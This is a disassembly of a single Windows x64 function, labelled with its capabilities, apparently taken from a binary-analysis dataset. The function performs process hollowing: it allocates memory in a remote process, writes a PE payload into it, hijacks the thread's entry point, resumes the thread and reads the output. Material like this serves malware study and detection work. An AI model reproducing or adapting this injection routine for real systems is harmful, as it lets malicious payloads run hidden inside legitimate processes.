Function at 0x140001390
Capabilities:
Enumerate pe sections
Inspect section memory permissions
Read file on windows
Read pipe
Resume thread

Disassembly:
mov r11, rsp
push rbp
push rbx
push rdi
push r12
lea rbp, [r11 - 0x488]
sub rsp, 0x568
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x440], rax
mov rdi, r8
mov rbx, rdx
mov r12, rcx
test rcx, rcx
je 0x140001af8
test rdx, rdx
je 0x140001af8
xorps xmm0, xmm0
mov qword [r11 + 0x20], rsi
mov qword [r11 - 0x30], r14
lea rcx, [rbp + 0x110]
xor r14d, r14d
mov qword [r11 - 0x38], r15
xor eax, eax
mov qword [rsp + 0x70], r14
xor edx, edx
mov qword [rsp + 0x78], r14
mov r8d, pe_nt_image_headers64
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r14
mov qword [rbp], r14
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r14
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x68], r14
mov dword [rbp + 0x70], r14d
mov qword [rbp + 0x7c], r14
mov qword [rbp + 0x84], r14
mov dword [rbp + 0x8c], r14d
mov qword [r11 - 0x28], r13
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
mov qword [rbp - 0x60], 0x10001f
mov qword [rbp + 0x74], rax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
lea rcx, [rbp + 0x270]
xor edx, edx
mov r8d, 0x1a0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x58]
mov qword [rbp + 0x410], r14
mov qword [rbp + 0x418], r14
mov esi, r14d
mov qword [rbp + 0x420], r14
mov qword [rbp + 0x428], r14
mov qword [rbp + 0x430], r14
mov qword [rbp + 0x438], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r14
mov dword [rsp + 0x38], r14d
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x40]
mov rdx, rdi
mov rcx, rbx
call fcn.1400010d0
mov r15, qword [rsp + 0x58]
test eax, eax
je 0x140001a7d
cmp qword [rsp + 0x40], rsi
je 0x140001a7d
cmp qword [rsp + 0x48], rsi
je 0x140001a7d
lea rcx, str._i__Press__Enter__To_Continue...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
movsxd rsi, dword [r12 + 0x3c]
add rsi, r12
cmp dword [rsi], 0x4550
je 0x1400015da
lea rcx, str.____Invalid_NT_Image_Headers_n
call fcn.140001010
mov esi, r14d
jmp 0x140001a7d
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rsp + 0x40]
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x140001615
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400035a8]
jmp 0x140001a67
mov rdx, r14
lea rcx, str.___Remote_Image_Base_Address:_0x_p_n
call fcn.140001010
mov rdx, qword [rsi + 0x30]
lea rcx, str._i__Preferable_Base_Address:_0x_p_n
call fcn.140001010
cmp r14, qword [rsi + 0x30]
je 0x14000164b
lea rcx, str.____PE_Payload_Will_Require_Relocation____NOT_SUPPORTED__n
call fcn.140001010
jmp 0x140001a76
lea rcx, str._i__Press__Enter__To_Write_The_PE_Payload_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov r9d, dword [rsi + 0x54]
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
mov r8, r12
mov rdx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001a5a
mov r8d, dword [rsi + 0x54]
cmp r8, qword [rsp + 0x60]
jne 0x140001a5a
mov rdx, r14
lea rcx, str.___Wrote_Headers_At__p_Of_Size__d__n
call fcn.140001010
lea rcx, str._i__Writing_Sections_...__n
call fcn.140001010
movzx r13d, word [rsi + 0x14]
xor eax, eax
add r13, 0x18
mov edi, eax
add r13, rsi
cmp ax, word [rsi + 6]
jae 0x140001740
lea rbx, [r13 + 0x10]
nop dword [rax + rax]
mov r8d, dword [rbx - 4]
mov r9d, dword [rbx]
add r8, r14
movsxd rax, edi
lea rcx, [rax + rax*4]
lea rdx, [rcx*8]
add rdx, r13
lea rcx, str._t_i__Writing_Section__s_At__p_Of_Size__d__n
call fcn.140001010
mov r8d, dword [rbx + 4]
lea rax, [rsp + 0x60]
mov edx, dword [rbx - 4]
add r8, r12
mov r9d, dword [rbx]
add rdx, r14
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001a5a
mov eax, dword [rbx]
cmp rax, qword [rsp + 0x60]
jne 0x140001a5a
movzx eax, word [rsi + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jl 0x1400016d0
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140001766
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400036f0]
jmp 0x140001a67
mov rdi, qword [rsp + 0x40]
lea rcx, str._i__Overwriting_Image_Base_Address_...
mov rbx, qword [rbp - 8]
xor r12d, r12d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x68], r14
call fcn.140001010
lea rax, [rsp + 0x58]
mov r9d, 8
lea r8, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea rdx, [rbx + 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001a39
cmp qword [rsp + 0x58], 8
jne 0x140001a39
lea rcx, str.___DONE__n
call fcn.140001010
mov ebx, r12d
mov rdi, qword [rsp + 0x40]
mov r10d, 0x40
cmp r12w, word [rsi + 6]
jae 0x1400018c2
mov r11d, 2
nop dword [rax]
mov eax, ebx
mov dword [rsp + 0x58], r12d
lea rcx, [rax + rax*4]
mov r8d, dword [r13 + rcx*8 + 0x10]
test r8d, r8d
je 0x1400018b4
mov edx, dword [r13 + rcx*8 + 0xc]
test edx, edx
je 0x1400018b4
mov ecx, dword [r13 + rcx*8 + 0x24]
mov eax, ecx
mov r9d, ecx
sar r9d, 0x1f
and r9d, 8
bt ecx, 0x1e
cmovb r9d, r11d
and eax, 0xc0000000
cmp eax, 0xc0000000
mov eax, 4
cmove r9d, eax
bt ecx, 0x1d
mov eax, 0x10
cmovb r9d, eax
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
mov eax, 0x80
cmove r9d, eax
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
mov eax, 0x20
cmove r9d, eax
and ecx, 0xe0000000
cmp ecx, 0xe0000000
lea rax, [rsp + 0x58]
mov rcx, rdi
mov qword [rsp + 0x20], rax
cmove r9d, r10d
add rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001928
mov r10d, 0x40
mov r11d, 2
movzx eax, word [rsi + 6]
inc ebx
cmp ebx, eax
jb 0x1400017f0
lea rcx, str._i__Press__Enter__To_Execute_The_Entry_Payload_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, dword [rsi + 0x28]
lea rcx, str._i__Hijacking_Thread_To_Run_EntryPoint:__p_...
add rdx, r14
call fcn.140001010
mov eax, dword [rsi + 0x28]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
add rax, r14
mov qword [rbp - 0x10], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14000194c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003770]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov esi, r12d
jmp 0x140001a7a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003480]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov esi, r12d
jmp 0x140001a7a
lea rcx, str.___DONE_n
call fcn.140001010
lea rcx, str._i__Press__Enter__To_Resume_The_Process_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x14000199e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x1400037c8]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov esi, r12d
jmp 0x140001a7a
mov rcx, qword [rsp + 0x40]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.___Reading_output:__n_n
call fcn.140001010
xor r14d, r14d
nop dword [rax]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], r14
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x38], r14d
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov edx, dword [rsp + 0x38]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140001a32
mov r8d, dword [rsp + 0x38]
xor r9d, r9d
mov rdx, rax
mov qword [rsp + 0x20], r14
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
test eax, eax
je 0x140001a2c
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400019c0
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, 1
jmp 0x140001a7d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003538]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov esi, r12d
jmp 0x140001a7a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003538]
mov r8d, eax
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov esi, dword [rsp + 0x38]
xor r14d, r14d
mov rcx, qword [rsp + 0x30]
mov r13, qword [rsp + 0x560]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001a9a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [r15 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001aad
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
mov r15, qword [rsp + 0x550]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001acf
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], r14
mov rcx, qword [rsp + 0x48]
mov r14, qword [rsp + 0x558]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140001aec
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rsi, qword [rsp + 0x5a8]
jmp 0x140001afa
xor eax, eax
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.140001f70
add rsp, 0x568
pop r12
pop rdi
pop rbx
pop rbp
ret